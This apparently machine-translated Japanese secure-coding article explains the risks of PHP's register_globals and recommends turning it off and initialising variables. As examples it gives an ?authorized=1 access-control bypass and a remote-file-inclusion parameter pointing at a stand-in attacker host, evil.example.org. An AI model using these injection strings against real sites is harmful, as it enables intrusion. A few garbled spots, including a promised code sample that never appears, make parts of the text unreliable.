register_globals パラメータは、PHP バージョン 4.2.0 以降ではデフォルトで無効になっています。これはセキュリティ上の脆弱性とはみなされませんが、セキュリティ上のリスクであることは確かです。したがって、開発中は register_globals を常にマスクする必要があります。
これがセキュリティ上のリスクとなるのはなぜですか?それぞれの状況を明確に説明するには個別の説明が必要ですが、すべての状況に適切な例を 1 つだけ挙げることは非常に困難です。とにかく、最も一般的な例は PHP マニュアルに説明されています:
<?phpif (authenticated_user()){$authorized = true;}if ($authorized){include '/highly/sensitive/data.php';}? >Whenパラメータ register_globals がオンになっている場合、このページはパラメータ ?authorized=1 を使用してアクセスできるため、アクセス制御がバイパスされます。もちろん、この明らかな脆弱性は register_globals ではなく不十分な開発の結果ですが、危険な脆弱性が発生する可能性が明らかに高まっています。この影響を排除することで、通常のグローバル変数 (この例では $authorized など) はクライアントによって送信されたデータの影響を受けなくなります。最善の方法は、すべての変数を初期化し、error_reporting パラメーターを E_ALL に設定して、初期化されていない変数の使用が開発中に無視されないようにすることです。
register_globals に関するもう 1 つの例は、include を使用して動的パスを含めるときに問題が発生する可能性があることです。
<?phpinclude "$path/script.php";?> パラメータ register_globals がオンになっている場合、このページでは ?path=http%3A % を使用できます。
2F%2Fevil.example.org%2F%3F パラメータにアクセスすると、
この例のコードは次のコードと同等になります。
パラメータallow_url_fopenがオンになっている場合(php.ini推奨でもデフォルトでオンになっています)、これにはローカルファイルだけでなくhttp://evil.example.org/などのリモートファイルが含まれます。これは、いくつかの非常に有名なオープンソース プロジェクトでも見つかった一般的なセキュリティ脆弱性です。
$path を初期化すると、パラメータ register_globals をシールドせずにこの隠れた危険を回避できます。ただし、開発者のミスにより、変数が初期化されない可能性があります。register_globals パラメータをブロックするようにグローバル設定を変更すると、この隠れた危険が無視されるのを可能な限り回避できます。
利便性は常に優れています。以前は、フォーム データと通常の変数を手動で区別する必要がありました。 $_POST および $_GET の組み込みグローバル配列を使用することも非常に便利であり、 register_globals パラメーターをオンにすることによって生じるリスクを冒す価値はありません。 register_globals パラメータをオンにするとセキュリティが脆弱になるという意見には全く同意しませんが、オフに設定することを強くお勧めします。
register_globals パラメータをブロックすると、開発者がデータのソースにもっと注意を払うのに役立ち、これはまさにセキュリティを意識した開発者が持つべき品質であることを付け加えておきます。